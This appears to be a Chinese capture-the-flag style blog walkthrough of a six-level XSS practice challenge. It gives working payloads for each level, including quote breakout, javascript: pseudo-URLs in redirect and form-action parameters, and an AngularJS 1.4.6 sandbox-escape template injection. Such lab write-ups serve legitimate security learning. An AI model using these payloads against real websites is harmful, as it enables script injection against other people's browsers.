[第二章 web进阶]XSS闯关

level1

?username=<script>alert(1)</script>

在这里插入图片描述
level2

查看源码
在这里插入图片描述
我们可以看到username被escape函数编码了,基本上就很难绕过。因此我们从username本身想办法。可以这样构造:

?username=';alert(1);//

在这里插入图片描述
在这里插入图片描述
这样username就是这样:
var username = ‘’;alert(1);//’;
成功执行了alert(1)。

level3

输入上一关的payload
题目源码,这次过滤了单引号
在这里插入图片描述
-那我就输两个单引号,然后就成功了
在这里插入图片描述

?username='';alert(1);//

level4

在这里插入图片描述
在这里插入图片描述
伪链接
javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。
代码中接收jumpUrl作为跳转url,所以,

/level4?jumpUrl=javascript:alert(1)

等待10秒后即可完成破解

level5

在这里插入图片描述
限制1

if(getQueryVariable('autosubmit') !== false){
	......
}

解决限制1,给autosubm传个值
autosubmit=1

限制2

autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');

解决限制2,同样是传值,只不过是传我们的注入语句
完整payload

/level5?autosubmit=1&action=javascript:alert(1)

level6

输入{{3*3}}输出9

在这里插入图片描述
发现打印出了9,印证了是模板XSS。
我们看一下这个环境用的是哪个模板,发现是AngularJS:
在这里插入图片描述
首先参考下面这个网页:
AngularJS客户端模板注入(XSS)
看完后就是模板注入XSS有了了解,不过由于我们的Angular版本是1.4.6,存在沙箱,因此要去搜索这个版本的Angular的沙箱逃逸的方法:AngularJS Sandbox Bypasses
从中得知的逃逸的办法:

?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

在这里插入图片描述

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值